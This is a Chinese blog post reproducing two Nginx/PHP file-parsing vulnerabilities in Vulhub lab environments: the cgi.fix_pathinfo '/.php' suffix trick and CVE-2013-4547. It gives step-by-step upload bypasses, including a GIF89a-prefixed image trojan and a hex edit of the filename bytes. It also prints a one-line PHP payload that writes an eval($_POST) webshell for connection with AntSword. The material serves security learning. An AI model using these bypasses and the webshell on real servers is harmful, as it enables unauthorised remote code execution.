当前位置: 首页 > article >正文

Vulnhub靶场Nginx解析漏洞复现

一.nginx_parsing

原理:这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /xx.jpg/xx.php 解析为 php ⽂件。

利用条件:

1.Nginx <=0.8.37

2.cgi.fix_pathinfo=1

Nginx的⽂件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞...

打开我们的nginx_parsing靶场

创建一个名为1.php的木马文件上传,我们发现上传失败

他说让我们上传一个图片,那我们把他的名字改为1.jpg并且将内容写成

GIF89a开头的木马文件

再上传,发现上传成功了

我们在访问后面这串加上/.php

检查一下是否写入成功

写入成功

二.CVE-2013-4547

原理:此漏洞为⽂件名逻辑漏洞,该漏洞在上传图⽚时,修改其16进制编码可使其绕过策略,导致解析为php。 当Nginx得到⼀个⽤户请求时,⾸先对url进⾏解析,进⾏正则匹配,如果匹配到以.php后缀结尾的⽂件名,会将请求的PHP⽂件交给PHP-CGI去解析。

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

打开我们的CVE-2013-4547靶场

https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fimg-home.csdnimg.cn%2Fimages%2F20230724024159.png%3Forigin_url%3D%25E3%2580%2581%26pos_id%3DdWqOjIqy&pos_id=dWqOjIqy

创建一个名为1.jpg的文件,里面输入<?php phphinfo(); ?>,上传抓包

在3.jpg后面加上两个空格再加上一个.php

再换到HEX中,找到1.jpg这里,将2020改成2000

放行

上传成功,访问一下我们的文件,删除一个g,再抓包

将3.jp后面补全写上两个空格加上.php

换到HEX,找到3.jpg .php那一栏,把2020改成2000,放行

也可以用下面这个php语言写在3.jpg

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

生成一个shell.php的木马文件,去访问shell.php来连接蚁剑


http://www.kler.cn/a/448438.html

相关文章:

  • windows安装Elasticsearch及增删改查操作
  • 将HTML转换为PDF:使用Spire.Doc的详细指南(一) 试用版
  • iClent3D for Cesium 实现无人机巡检飞行效果
  • Liveweb视频融合共享平台在果园农场等项目中的视频监控系统搭建方案
  • 未来将要被淘汰的编程语言
  • 使用 Docker 打包和运行 Vue 应用
  • Chromium GN目标指南 - 查看GN目标(三)
  • C++简明教程(文章要求学过一点C语言)(3)
  • [机器学习]XGBoost(1)——前置知识
  • Android水波纹搜索效果
  • Java并发编程框架之综合案例—— 分布式爬虫(四)
  • springboot基于Java的校园导航微信小程序的设计与实现
  • React+Vite项目框架
  • 如何构建一个简单的SpringBoot程序
  • 《软件工程文档攻略:解锁软件开发的“秘籍”》
  • 基于Spring Boot的营销项目系统
  • 题解:单调栈求解良好的感觉
  • leetcode 面试经典 150 题:无重复字符的最长子串
  • [react]searchParams转普通对象
  • 【CVE-2024-56145】PHP 漏洞导致 Craft CMS 出现 RCE
  • vue3 setup模式使用事件总线Event bus用mitt,app.config.globalProperties.$bus
  • MySQL 主从复制与高可用
  • MongoDB(下)
  • 深度学习之目标检测——RCNN
  • 《Java核心技术I》Swing的组合框
  • MongoDB 介绍及 Java 实现基本操作